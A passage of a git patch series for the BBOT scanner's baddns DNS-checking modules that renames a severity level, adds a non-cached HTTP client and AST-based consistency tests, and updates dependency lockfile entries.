"https://files.pythonhosted.org/packages/50/96/e48e13789ace22aeb9b7510904a1b1493ec588196e11bbacc122da330b3d/pypdfium2-5.6.0-py3-none-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c49729090281fdd85775fb8912c10bd19e99178efaa98f145ab06e7ce68554d2", size = 2965026, upload-time = "2026-03-08T01:04:42.857Z" }, + { url = "https://files.pythonhosted.org/packages/cb/06/3100e44d4935f73af8f5d633d3bd40f0d36d606027085a0ef1f0566a6320/pypdfium2-5.6.0-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:a4a1749a8d4afd62924a8d95cfa4f2e26fc32957ce34ac3b674be6f127ed252e", size = 4131431, upload-time = "2026-03-08T01:04:44.982Z" }, + { url = "https://files.pythonhosted.org/packages/64/ef/d8df63569ce9a66c8496057782eb8af78e0d28667922d62ec958434e3d4b/pypdfium2-5.6.0-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:36469ebd0fdffb7130ce45ed9c44f8232d91571c89eb851bd1633c64b6f6114f", size = 3747469, upload-time = "2026-03-08T01:04:46.702Z" }, + { url = "https://files.pythonhosted.org/packages/a6/47/fd2c6a67a49fade1acd719fbd11f7c375e7219912923ef2de0ea0ac1544e/pypdfium2-5.6.0-py3-none-musllinux_1_2_i686.whl", hash = "sha256:9da900df09be3cf546b637a127a7b6428fb22d705951d731269e25fd3adef457", size = 4337578, upload-time = "2026-03-08T01:04:49.007Z" }, + { url = "https://files.pythonhosted.org/packages/6b/f5/836c83e54b01e09478c4d6bf4912651d6053c932250fcee953f5c72d8e4a/pypdfium2-5.6.0-py3-none-musllinux_1_2_ppc64le.whl", hash = "sha256:45fccd5622233c5ec91a885770ae7dd4004d4320ac05a4ad8fa03a66dea40244", size = 4376104, upload-time = "2026-03-08T01:04:51.04Z" }, + { url = "https://files.pythonhosted.org/packages/6e/7f/b940b6a1664daf8f9bad87c6c99b84effa3611615b8708d10392dc33036c/pypdfium2-5.6.0-py3-none-musllinux_1_2_riscv64.whl", hash = "sha256:282dc030e767cd61bd0299f9d581052b91188e2b87561489057a8e7963e7e0cb", size = 3929824, upload-time = "2026-03-08T01:04:53.544Z" }, + { url = "https://files.pythonhosted.org/packages/88/79/00267d92a6a58c229e364d474f5698efe446e0c7f4f152f58d0138715e99/pypdfium2-5.6.0-py3-none-musllinux_1_2_s390x.whl", hash = "sha256:a1c1dfe950382c76a7bba1ba160ec5e40df8dd26b04a1124ae268fda55bc4cbe", size = 4270201, upload-time = "2026-03-08T01:04:55.81Z" }, + { url = "https://files.pythonhosted.org/packages/e1/ab/b127f38aba41746bdf9ace15ba08411d7ef6ecba1326d529ba414eb1ed50/pypdfium2-5.6.0-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:43b0341ca6feb6c92e4b7a9eb4813e5466f5f5e8b6baeb14df0a94d5f312c00b", size = 4180793, upload-time = "2026-03-08T01:04:57.961Z" }, + { url = "https://files.pythonhosted.org/packages/0e/8c/a01c8e4302448b614d25a85c08298b0d3e9dfbdac5bd1b2f32c9b02e83d9/pypdfium2-5.6.0-py3-none-win32.whl", hash = "sha256:9dfcd4ff49a2b9260d00e38539ab28190d59e785e83030b30ffaf7a29c42155d", size = 3596753, upload-time = "2026-03-08T01:05:00.566Z" }, + { url = "https://files.pythonhosted.org/packages/9b/5f/2d871adf46761bb002a62686545da6348afe838d19af03df65d1ece786a2/pypdfium2-5.6.0-py3-none-win_amd64.whl", hash = "sha256:c6bc8dd63d0568f4b592f3e03de756afafc0e44aa1fe8878cc4aba1b11ae7374", size = 3716526, upload-time = "2026-03-08T01:05:02.433Z" }, + { url = "https://files.pythonhosted.org/packages/3a/80/0d9b162098597fbe3ac2b269b1682c0c3e8db9ba87679603fdd9b19afaa6/pypdfium2-5.6.0-py3-none-win_arm64.whl", hash = "sha256:5538417b199bdcb3207370c88df61f2ba3dac7a3253f82e1aa2708e6376b6f90", size = 3515049, upload-time = "2026-03-08T01:05:04.587Z" }, +] + [[package]] name = "pytest" version = "8.4.2" @@ -2138,6 +2204,18 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/ec/57/56b9bcc3c9c6a792fcbaf139543cee77261f3651ca9da0c93f5c1221264b/python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427", size = 229892, upload-time = "2024-03-01T18:36:18.57Z" }, ] +[[package]] +name = "python-whois" +version = "0.9.6" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "python-dateutil" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f1/0c/537914eca91ee5ff281309a5ca71da23c0c975cd6658668a44d3fdcf1cc4/python_whois-0.9.6.tar.gz", hash = "sha256:2e6de7b6d70e305a85f4859cd17781ee3f0da3a02a8e94f23cb4cdcd2e400bfa", size = 125107, upload-time = "2025-10-07T04:36:14.913Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/46/53/d0ceb3ae30da8e8ec2d9af11050178f3b4114d5aa6a7f7074199db3c806f/python_whois-0.9.6-py3-none-any.whl", hash = "sha256:153261941a4d238b1278a4ca9b5b5e0590ed3b4d0c534ba111c4434d5d339410", size = 116976, upload-time = "2025-10-07T04:36:12.328Z" }, +] + [[package]] name = "pyyaml" version = "6.0.3" From 44ffba1b4ff97793fb1317d8ad0f7b2a3e5fc717 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sun, 22 Mar 2026 17:10:16 -0400 Subject: [PATCH 338/912] Fix severity levels to use INFO, add AST test for baddns max severity/confidence sync, add baddns dev dep --- bbot/modules/baddns.py | 26 +++- bbot/modules/baddns_direct.py | 2 +- bbot/modules/baddns_zone.py | 4 +- .../module_tests/test_module_baddns.py | 140 ++++++++++++++++++ pyproject.toml | 3 + uv.lock | 78 ++++++++++ 6 files changed, 244 insertions(+), 9 deletions(-) diff --git a/bbot/modules/baddns.py b/bbot/modules/baddns.py index df4cf1a040..5b142f9043 100644 --- a/bbot/modules/baddns.py +++ b/bbot/modules/baddns.py @@ -4,7 +4,7 @@ import logging -SEVERITY_LEVELS = ("INFORMATIONAL", "LOW", "MEDIUM", "HIGH", "CRITICAL") +SEVERITY_LEVELS = ("INFO", "LOW", "MEDIUM", "HIGH", "CRITICAL") CONFIDENCE_LEVELS = ("UNKNOWN", "LOW", "MODERATE", "HIGH", "CONFIRMED") SUBMODULE_MAX_SEVERITY = { @@ -13,9 +13,9 @@ "MX": "MEDIUM", "TXT": "LOW", "references": "MEDIUM", - "NSEC": "INFORMATIONAL", - "zonetransfer": "INFORMATIONAL", - "DMARC": "INFORMATIONAL", + "NSEC": "INFO", + "zonetransfer": "INFO", + "DMARC": "INFO", "SPF": "MEDIUM", "MTA-STS": "HIGH", "WILDCARD": "HIGH", @@ -48,7 +48,7 @@ class baddns(BaseModule): options = {"custom_nameservers": [], "min_severity": "LOW", "min_confidence": "MODERATE", "enabled_submodules": []} options_desc = { "custom_nameservers": "Force BadDNS to use a list of custom nameservers", - "min_severity": "Minimum severity to emit (INFORMATIONAL, LOW, MEDIUM, HIGH, CRITICAL)", + "min_severity": "Minimum severity to emit (INFO, LOW, MEDIUM, HIGH, CRITICAL)", "min_confidence": "Minimum confidence to emit (UNKNOWN, LOW, MODERATE, HIGH, CONFIRMED)", "enabled_submodules": "A list of submodules to enable. Empty list (default) enables CNAME, TXT and MX Only", } @@ -130,11 +130,25 @@ async def _run_module(self, module_instance): self.warning(f"Task for {module_instance} raised an error: {e}") return module_instance, None + def _new_http_client(self, *args, **kwargs): + """Create a non-cached HTTP client for baddns submodules. + + baddns submodules close their HTTP clients during cleanup, so we can't + use the caching ``web.AsyncClient`` factory — that would let one + submodule close a client that another submodule is still using. + + TODO: revisit this when we switch to blasthttp — the caching/lifecycle + model will be different and this workaround may no longer be needed. + """ + from bbot.core.helpers.web.client import BBOTAsyncClient + + return BBOTAsyncClient.from_config(self.scan.config, self.scan.target, *args, persist_cookies=False, **kwargs) + async def handle_event(self, event): coroutines = [] for ModuleClass in self.select_modules(): kwargs = { - "http_client_class": self.scan.helpers.web.AsyncClient, + "http_client_class": self._new_http_client, "dns_client": self.scan.helpers.dns.resolver, "custom_nameservers": self.custom_nameservers, "signatures": self.signatures, diff --git a/bbot/modules/baddns_direct.py b/bbot/modules/baddns_direct.py index 3106beff19..0eac0f9d14 100644 --- a/bbot/modules/baddns_direct.py +++ b/bbot/modules/baddns_direct.py @@ -13,7 +13,7 @@ class baddns_direct(baddns_module): options = {"custom_nameservers": [], "min_severity": "LOW", "min_confidence": "MODERATE"} options_desc = { "custom_nameservers": "Force BadDNS to use a list of custom nameservers", - "min_severity": "Minimum severity to emit (INFORMATIONAL, LOW, MEDIUM, HIGH, CRITICAL)", + "min_severity": "Minimum severity to emit (INFO, LOW, MEDIUM, HIGH, CRITICAL)", "min_confidence": "Minimum confidence to emit (UNKNOWN, LOW, MODERATE, HIGH, CONFIRMED)", } module_threads = 8 diff --git a/bbot/modules/baddns_zone.py b/bbot/modules/baddns_zone.py index d51d10ef4f..c948135efb 100644 --- a/bbot/modules/baddns_zone.py +++ b/bbot/modules/baddns_zone.py @@ -10,10 +10,10 @@ class baddns_zone(baddns_module): "created_date": "2024-01-29", "author": "@liquidsec", } - options = {"custom_nameservers": [], "min_severity": "INFORMATIONAL", "min_confidence": "MODERATE"} + options = {"custom_nameservers": [], "min_severity": "INFO", "min_confidence": "MODERATE"} options_desc = { "custom_nameservers": "Force BadDNS to use a list of custom nameservers", - "min_severity": "Minimum severity to emit (INFORMATIONAL, LOW, MEDIUM, HIGH, CRITICAL)", + "min_severity": "Minimum severity to emit (INFO, LOW, MEDIUM, HIGH, CRITICAL)", "min_confidence": "Minimum confidence to emit (UNKNOWN, LOW, MODERATE, HIGH, CONFIRMED)", } module_threads = 8 diff --git a/bbot/test/test_step_2/module_tests/test_module_baddns.py b/bbot/test/test_step_2/module_tests/test_module_baddns.py index 2d5d476d05..47d38d989b 100644 --- a/bbot/test/test_step_2/module_tests/test_module_baddns.py +++ b/bbot/test/test_step_2/module_tests/test_module_baddns.py @@ -1,6 +1,146 @@ +import ast +import inspect + +from baddns.base import get_all_modules +from baddns.lib.findings import SEVERITY_LEVELS, CONFIDENCE_LEVELS + +from bbot.modules.baddns import SUBMODULE_MAX_SEVERITY, SUBMODULE_MAX_CONFIDENCE + from .base import ModuleTestBase +def _extract_finding_values(module_cls): + """ + AST-parse a baddns submodule and extract all string-literal severity + and confidence values from Finding() constructor calls. + + Returns (set of severity strings, set of confidence strings). + """ + source = inspect.getsource(module_cls) + tree = ast.parse(source) + + severities = set() + confidences = set() + + for node in ast.walk(tree): + # Look for Finding({...}) calls + if not isinstance(node, ast.Call): + continue + func = node.func + if not (isinstance(func, ast.Name) and func.id == "Finding"): + continue + if not node.args: + continue + arg = node.args[0] + if not isinstance(arg, ast.Dict): + continue + for key, value in zip(arg.keys, arg.values): + if not isinstance(key, ast.Constant): + continue + if key.value == "severity" and isinstance(value, ast.Constant) and isinstance(value.value, str): + severities.add(value.value) + if key.value == "confidence" and isinstance(value, ast.Constant) and isinstance(value.value, str): + confidences.add(value.value) + + return severities, confidences + + +def _max_level(values, levels): + """Return the highest value from `values` according to the ordering in `levels`.""" + if not values: + return None + # levels is ordered high-to-low in baddns (CRITICAL, HIGH, MEDIUM, LOW, INFO) + for level in levels: + if level in values: + return level + return None + + +# Modules that wrap CNAME findings and may use variables for severity/confidence. +# When a field uses a variable instead of a literal, its max is bounded by +# CNAME's max for that field. +CNAME_DERIVED_MODULES = {"references", "txt", "wildcard", "mtasts"} + + +def test_baddns_max_severity_confidence(): + """ + Ensure SUBMODULE_MAX_SEVERITY and SUBMODULE_MAX_CONFIDENCE in the BBOT + baddns module match what the baddns library's source code actually contains. + """ + all_modules = {cls.name: cls for cls in get_all_modules()} + + # First, compute CNAME's maxes since other modules derive from it + cname_cls = all_modules.get("CNAME") + assert cname_cls is not None, "CNAME module not found in baddns" + cname_sevs, cname_confs = _extract_finding_values(cname_cls) + cname_max_sev = _max_level(cname_sevs, SEVERITY_LEVELS) + cname_max_conf = _max_level(cname_confs, CONFIDENCE_LEVELS) + + errors = [] + + for name, cls in all_modules.items(): + sevs, confs = _extract_finding_values(cls) + + # For CNAME-derived modules, if no literal severity/confidence was found, + # the values are inherited from CNAME findings + if ( + name.lower() in CNAME_DERIVED_MODULES + or cls.__name__.lower().replace("baddns_", "") in CNAME_DERIVED_MODULES + ): + if not sevs and cname_max_sev: + sevs = {cname_max_sev} + if not confs and cname_max_conf: + confs = {cname_max_conf} + + actual_max_sev = _max_level(sevs, SEVERITY_LEVELS) + actual_max_conf = _max_level(confs, CONFIDENCE_LEVELS) + + expected_sev = SUBMODULE_MAX_SEVERITY.get(name) + expected_conf = SUBMODULE_MAX_CONFIDENCE.get(name) + + if expected_sev is None and expected_conf is None: + errors.append(f"Module [{name}] is missing from both SUBMODULE_MAX_SEVERITY and SUBMODULE_MAX_CONFIDENCE") + continue + + if expected_sev != actual_max_sev: + errors.append( + f"Module [{name}] max_severity mismatch: BBOT says {expected_sev}, baddns source says {actual_max_sev}" + ) + if expected_conf != actual_max_conf: + errors.append( + f"Module [{name}] max_confidence mismatch: BBOT says {expected_conf}, baddns source says {actual_max_conf}" + ) + + assert not errors, "BBOT baddns max severity/confidence out of sync with baddns library:\n" + "\n".join(errors) + + +def test_baddns_submodule_coverage(): + """ + Ensure every baddns submodule is represented in both SUBMODULE_MAX dicts, + and no stale entries exist for modules that were removed. + """ + all_module_names = {cls.name for cls in get_all_modules()} + severity_names = set(SUBMODULE_MAX_SEVERITY.keys()) + confidence_names = set(SUBMODULE_MAX_CONFIDENCE.keys()) + + missing_severity = all_module_names - severity_names + missing_confidence = all_module_names - confidence_names + stale_severity = severity_names - all_module_names + stale_confidence = confidence_names - all_module_names + + errors = [] + if missing_severity: + errors.append(f"Modules missing from SUBMODULE_MAX_SEVERITY: {missing_severity}") + if missing_confidence: + errors.append(f"Modules missing from SUBMODULE_MAX_CONFIDENCE: {missing_confidence}") + if stale_severity: + errors.append(f"Stale entries in SUBMODULE_MAX_SEVERITY (module removed from baddns): {stale_severity}") + if stale_confidence: + errors.append(f"Stale entries in SUBMODULE_MAX_CONFIDENCE (module removed from baddns): {stale_confidence}") + + assert not errors, "\n".join(errors) + + class BaseTestBaddns(ModuleTestBase): modules_overrides = ["baddns"] targets = ["bad.dns"] diff --git a/pyproject.toml b/pyproject.toml index 4ac757167f..b95d56049c 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -48,6 +48,8 @@ dependencies = [ "ansible-core>=2.17,<3", "tldextract>=5.3.0,<6", "cloudcheck>=9.2.0,<10", + "kreuzberg>=4.3,<5", + "pypdfium2>=5.0,<6", ] [project.urls] @@ -77,6 +79,7 @@ dev = [ "pytest-httpx>=0.35", "pytest-benchmark>=4,<6", "ruff==0.15.2", + "baddns~=2.0.0", ] docs = [ "mkdocs>=1.5.2,<2", diff --git a/uv.lock b/uv.lock index 5601ab7479..d6a27e7f21 100644 --- a/uv.lock +++ b/uv.lock @@ -164,6 +164,25 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/02/e3/a4fa1946722c4c7b063cc25043a12d9ce9b4323777f89643be74cef2993c/backrefs-6.1-py39-none-any.whl", hash = "sha256:a9e99b8a4867852cad177a6430e31b0f6e495d65f8c6c134b68c14c3c95bf4b0", size = 381058, upload-time = "2025-11-15T14:52:06.698Z" }, ] +[[package]] +name = "baddns" +version = "2.0.452" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cloudcheck" }, + { name = "colorama" }, + { name = "dnspython" }, + { name = "httpx" }, + { name = "python-dateutil" }, + { name = "python-whois" }, + { name = "pyyaml" }, + { name = "tldextract" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/77/32/1d82b8781bd9285fabb4a03f342bfc8e27f219665af5dd184fc97bf9694a/baddns-2.0.452.tar.gz", hash = "sha256:193e3ff866986ddb626ec563991c3ea760985ca74f7ed59c0f3770c9f5543d9d", size = 61143, upload-time = "2026-03-20T18:39:14.505Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d6/cb/7ed49be7f8802adfcb57710548ed28239d899eaf5db7a49e57df8600385f/baddns-2.0.452-py3-none-any.whl", hash = "sha256:54e38e2b661de981f95454abea8b17a6bb3d1d5ff1e046738c319cfd7cfc018d", size = 117120, upload-time = "2026-03-20T18:39:13.376Z" }, +] + [[package]] name = "bbot" source = { editable = "." } @@ -181,6 +200,7 @@ dependencies = [ { name = "httpx" }, { name = "idna" }, { name = "jinja2" }, + { name = "kreuzberg" }, { name = "lxml" }, { name = "mmh3" }, { name = "omegaconf" }, @@ -190,6 +210,7 @@ dependencies = [ { name = "pycryptodome" }, { name = "pydantic" }, { name = "pyjwt" }, + { name = "pypdfium2" }, { name = "pyzmq" }, { name = "radixtarget" }, { name = "regex" }, @@ -207,6 +228,7 @@ dependencies = [ [package.dev-dependencies] dev = [ + { name = "baddns" }, { name = "fastapi" }, { name = "pre-commit" }, { name = "pytest" }, @@ -249,6 +271,7 @@ requires-dist = [ { name = "httpx", specifier = ">=0.28.1,<1" }, { name = "idna", specifier = ">=3.4,<4" }, { name = "jinja2", specifier = ">=3.1.3,<4" }, + { name = "kreuzberg", specifier = ">=4.3,<5" }, { name = "lxml", specifier = ">=4.9.2,<7.0.0" }, { name = "mmh3", specifier = ">=4.1,<6.0" }, { name = "omegaconf", specifier = ">=2.3.0,<3" }, @@ -258,6 +281,7 @@ requires-dist = [ { name = "pycryptodome", specifier = ">=3.17,<4" }, { name = "pydantic", specifier = ">=2.12.2,<3" }, { name = "pyjwt", specifier = ">=2.7.0,<3" }, + { name = "pypdfium2", specifier = ">=5.0,<6" }, { name = "pyzmq", specifier = ">=26.0.3,<28.0.0" }, { name = "radixtarget", specifier = ">=4.0.1,<5" }, { name = "regex", specifier = ">=2024.4.16,<2027.0.0" }, @@ -275,6 +299,7 @@ requires-dist = [ [package.metadata.requires-dev] dev = [ + { name = "baddns", specifier = "~=2.0.0" }, { name = "fastapi", specifier = ">=0.115.5,<0.129.0" }, { name = "pre-commit", specifier = ">=3.4,<5.0" }, { name = "pytest", specifier = ">=8.3.1,<9" }, @@ -993,6 +1018,18 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/62/a1/3d680cbfd5f4b8f15abc1d571870c5fc3e594bb582bc3b64ea099db13e56/jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67", size = 134899, upload-time = "2025-03-05T20:05:00.369Z" }, ] +[[package]] +name = "kreuzberg" +version = "4.5.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/eb/99/e2b94a0ceece484390b6ec3888f505ecc889d1366dbf7d8bbf7dedd11e67/kreuzberg-4.5.2.tar.gz", hash = "sha256:d7f30f5699ef953acbbd32f228eaf938e850b7f0a767d671faad29e18d4fc9f2", size = 2000056, upload-time = "2026-03-21T23:40:37.87Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c0/2d/3d50764bd70d3adc6ea3e2daa5ce3eb46e359d7624e6aef0727384be5e60/kreuzberg-4.5.2-cp310-abi3-macosx_14_0_arm64.whl", hash = "sha256:d0b596b8371cdc654cf988dbdf9c129a45f76c00a52e0181fde770cbc39dbbf9", size = 49133340, upload-time = "2026-03-21T23:40:25.239Z" }, + { url = "https://files.pythonhosted.org/packages/16/f9/2b8994b855f717a2ea5a73a3ff7059b83dca98ce4dc5ff086024533eb3e4/kreuzberg-4.5.2-cp310-abi3-manylinux_2_39_aarch64.whl", hash = "sha256:e0b7c8822ca7a19c57f53eb76fc4a4481a4c4bcace917ea0a8556848c1b97bee", size = 57139635, upload-time = "2026-03-21T23:40:28.417Z" }, + { url = "https://files.pythonhosted.org/packages/56/06/2d1d2f9f8f586076d6b20239f7180cfa181b9868d64057f5b19a66ddb59e/kreuzberg-4.5.2-cp310-abi3-manylinux_2_39_x86_64.whl", hash = "sha256:10856a2cfc480a31dfeebf1c9c6b514f765f90566ff818d01e910ec8052ece37", size = 56747977, upload-time = "2026-03-21T23:40:31.618Z" }, + { url = "https://files.pythonhosted.org/packages/4b/33/2714045420ebbcd2c7a743b3b4d0bc529e00c92bbd0fe727e7cae0df891f/kreuzberg-4.5.2-cp310-abi3-win_amd64.whl", hash = "sha256:5f158326504d94a7d26ebb8f10f673cee9556fb238009842a86b3ff723867465", size = 56455168, upload-time = "2026-03-21T23:40:35.197Z" }, +] + [[package]] name = "libsass" version = "0.23.0" @@ -1992,6 +2029,35 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/10/bd/c038d7cc38edc1aa5bf91ab8068b63d4308c66c4c8bb3cbba7dfbc049f9c/pyparsing-3.3.2-py3-none-any.whl", hash = "sha256:850ba148bd908d7e2411587e247a1e4f0327839c40e2e5e6d05a007ecc69911d", size = 122781, upload-time = "2026-01-21T03:57:55.912Z" }, ] +[[package]] +name = "pypdfium2" +version = "5.6.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/3b/01/be763b9081c7eb823196e7d13d9c145bf75ac43f3c1466de81c21c24b381/pypdfium2-5.6.0.tar.gz", hash = "sha256:bcb9368acfe3547054698abbdae68ba0cbd2d3bda8e8ee437e061deef061976d", size = 270714, upload-time = "2026-03-08T01:05:06.5Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9d/b1/129ed0177521a93a892f8a6a215dd3260093e30e77ef7035004bb8af7b6c/pypdfium2-5.6.0-py3-none-android_23_arm64_v8a.whl", hash = "sha256:fb7858c9707708555b4a719b5548a6e7f5d26bc82aef55ae4eb085d7a2190b11", size = 3346059, upload-time = "2026-03-08T01:04:21.37Z" }, + { url = "https://files.pythonhosted.org/packages/86/34/cbdece6886012180a7f2c7b2c360c415cf5e1f83f1973d2c9201dae3506a/pypdfium2-5.6.0-py3-none-android_23_armeabi_v7a.whl", hash = "sha256:6a7e1f4597317786f994bfb947eef480e53933f804a990193ab89eef8243f805", size = 2804418, upload-time = "2026-03-08T01:04:23.384Z" }, + { url = "https://files.pythonhosted.org/packages/6e/f6/9f9e190fe0e5a6b86b82f83bd8b5d3490348766062381140ca5cad8e00b1/pypdfium2-5.6.0-py3-none-macosx_11_0_arm64.whl", hash = "sha256:e468c38997573f0e86f03273c2c1fbdea999de52ba43fee96acaa2f6b2ad35f7", size = 3412541, upload-time = "2026-03-08T01:04:25.45Z" }, + { url = "https://files.pythonhosted.org/packages/ee/8d/e57492cb2228ba56ed57de1ff044c8ac114b46905f8b1445c33299ba0488/pypdfium2-5.6.0-py3-none-macosx_11_0_x86_64.whl", hash = "sha256:ad3abddc5805424f962e383253ccad6a0d1d2ebd86afa9a9e1b9ca659773cd0d", size = 3592320, upload-time = "2026-03-08T01:04:27.509Z" }, + { url = "https://files.pythonhosted.org/packages/f9/8a/8ab82e33e9c551494cbe1526ea250ca8cc4e9e98d6a4fc6b6f8d959aa1d1/pypdfium2-5.6.0-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f6b5eb9eae5c45076395454522ca26add72ba8bd1fe473e1e4721aa58521470c", size = 3596450, upload-time = "2026-03-08T01:04:29.183Z" }, + { url = "https://files.pythonhosted.org/packages/f5/b5/602a792282312ccb158cc63849528079d94b0a11efdc61f2a359edfb41e9/pypdfium2-5.6.0-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:258624da8ef45cdc426e11b33e9d83f9fb723c1c201c6e0f4ab5a85966c6b876", size = 3325442, upload-time = "2026-03-08T01:04:30.886Z" }, + { url = "https://files.pythonhosted.org/packages/81/1f/9e48ec05ed8d19d736c2d1f23c1bd0f20673f02ef846a2576c69e237f15d/pypdfium2-5.6.0-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e9367451c8a00931d6612db0822525a18c06f649d562cd323a719e46ac19c9bb", size = 3727434, upload-time = "2026-03-08T01:04:33.619Z" }, + { url = "https://files.pythonhosted.org/packages/33/90/0efd020928b4edbd65f4f3c2af0c84e20b43a3ada8fa6d04f999a97afe7a/pypdfium2-5.6.0-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a757869f891eac1cc1372e38a4aa01adac8abc8fe2a8a4e2ebf50595e3bf5937", size = 4139029, upload-time = "2026-03-08T01:04:36.08Z" }, + { url = "https://files.pythonhosted.org/packages/ff/49/a640b288a48dab1752281dd9b72c0679fccea107874e80a65a606b00efa9/pypdfium2-5.6.0-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:515be355222cc57ae9e62cd5c7c350b8e0c863efc539f80c7d75e2811ba45cb6", size = 3646387, upload-time = "2026-03-08T01:04:38.151Z" }, + { url = "https://files.pythonhosted.org/packages/b0/3b/a344c19c01021eeb5d830c102e4fc9b1602f19c04aa7d11abbe2d188fd8e/pypdfium2-5.6.0-py3-none-manylinux_2_27_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d1c4753c7caf7d004211d7f57a21f10d127f5e0e5510a14d24bc073e7220a3ea", size = 3097212, upload-time = "2026-03-08T01:04:40.776Z" }, + { url = "https://files.pythonhosted.org/packages/50/96/e48e13789ace22aeb9b7510904a1b1493ec588196e11bbacc122da330b3d/pypdfium2-5.6.0-py3-none-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c49729090281fdd85775fb8912c10bd19e99178efaa98f145ab06e7ce68554d2", size = 2965026, upload-time = "2026-03-08T01:04:42.857Z" }, + { url = "https://files.pythonhosted.org/packages/cb/06/3100e44d4935f73af8f5d633d3bd40f0d36d606027085a0ef1f0566a6320/pypdfium2-5.6.0-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:a4a1749a8d4afd62924a8d95cfa4f2e26fc32957ce34ac3b674be6f127ed252e", size = 4131431, upload-time = "2026-03-08T01:04:44.982Z" }, + { url = "https://files.pythonhosted.org/packages/64/ef/d8df63569ce9a66c8496057782eb8af78e0d28667922d62ec958434e3d4b/pypdfium2-5.6.0-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:36469ebd0fdffb7130ce45ed9c44f8232d91571c89eb851bd1633c64b6f6114f", size = 3747469, upload-time = "2026-03-08T01:04:46.702Z" }, + { url = "https://files.pythonhosted.org/packages/a6/47/fd2c6a67a49fade1acd719fbd11f7c375e7219912923ef2de0ea0ac1544e/pypdfium2-5.6.0-py3-none-musllinux_1_2_i686.whl", hash = "sha256:9da900df09be3cf546b637a127a7b6428fb22d705951d731269e25fd3adef457", size = 4337578, upload-time = "2026-03-08T01:04:49.007Z" }, + { url = "https://files.pythonhosted.org/packages/6b/f5/836c83e54b01e09478c4d6bf4912651d6053c932250fcee953f5c72d8e4a/pypdfium2-5.6.0-py3-none-musllinux_1_2_ppc64le.whl", hash = "sha256:45fccd5622233c5ec91a885770ae7dd4004d4320ac05a4ad8fa03a66dea40244", size = 4376104, upload-time = "2026-03-08T01:04:51.04Z" }, + { url = "https://files.pythonhosted.org/packages/6e/7f/b940b6a1664daf8f9bad87c6c99b84effa3611615b8708d10392dc33036c/pypdfium2-5.6.0-py3-none-musllinux_1_2_riscv64.whl", hash = "sha256:282dc030e767cd61bd0299f9d581052b91188e2b87561489057a8e7963e7e0cb", size = 3929824, upload-time = "2026-03-08T01:04:53.544Z" }, + { url = "https://files.pythonhosted.org/packages/88/79/00267d92a6a58c229e364d474f5698efe446e0c7f4f152f58d0138715e99/pypdfium2-5.6.0-py3-none-musllinux_1_2_s390x.whl", hash = "sha256:a1c1dfe950382c76a7bba1ba160ec5e40df8dd26b04a1124ae268fda55bc4cbe", size = 4270201, upload-time = "2026-03-08T01:04:55.81Z" }, + { url = "https://files.pythonhosted.org/packages/e1/ab/b127f38aba41746bdf9ace15ba08411d7ef6ecba1326d529ba414eb1ed50/pypdfium2-5.6.0-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:43b0341ca6feb6c92e4b7a9eb4813e5466f5f5e8b6baeb14df0a94d5f312c00b", size = 4180793, upload-time = "2026-03-08T01:04:57.961Z" }, + { url = "https://files.pythonhosted.org/packages/0e/8c/a01c8e4302448b614d25a85c08298b0d3e9dfbdac5bd1b2f32c9b02e83d9/pypdfium2-5.6.0-py3-none-win32.whl", hash = "sha256:9dfcd4ff49a2b9260d00e38539ab28190d59e785e83030b30ffaf7a29c42155d", size = 3596753, upload-time = "2026-03-08T01:05:00.566Z" }, + { url = "https://files.pythonhosted.org/packages/9b/5f/2d871adf46761bb002a62686545da6348afe838d19af03df65d1ece786a2/pypdfium2-5.6.0-py3-none-win_amd64.whl", hash = "sha256:c6bc8dd63d0568f4b592f3e03de756afafc0e44aa1fe8878cc4aba1b11ae7374", size = 3716526, upload-time = "2026-03-08T01:05:02.433Z" }, + { url = "https://files.pythonhosted.org/packages/3a/80/0d9b162098597fbe3ac2b269b1682c0c3e8db9ba87679603fdd9b19afaa6/pypdfium2-5.6.0-py3-none-win_arm64.whl", hash = "sha256:5538417b199bdcb3207370c88df61f2ba3dac7a3253f82e1aa2708e6376b6f90", size = 3515049, upload-time = "2026-03-08T01:05:04.587Z" }, +] + [[package]] name = "pytest" version = "8.4.2" @@ -2138,6 +2204,18 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/ec/57/56b9bcc3c9c6a792fcbaf139543cee77261f3651ca9da0c93f5c1221264b/python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427", size = 229892, upload-time = "2024-03-01T18:36:18.57Z" }, ] +[[package]] 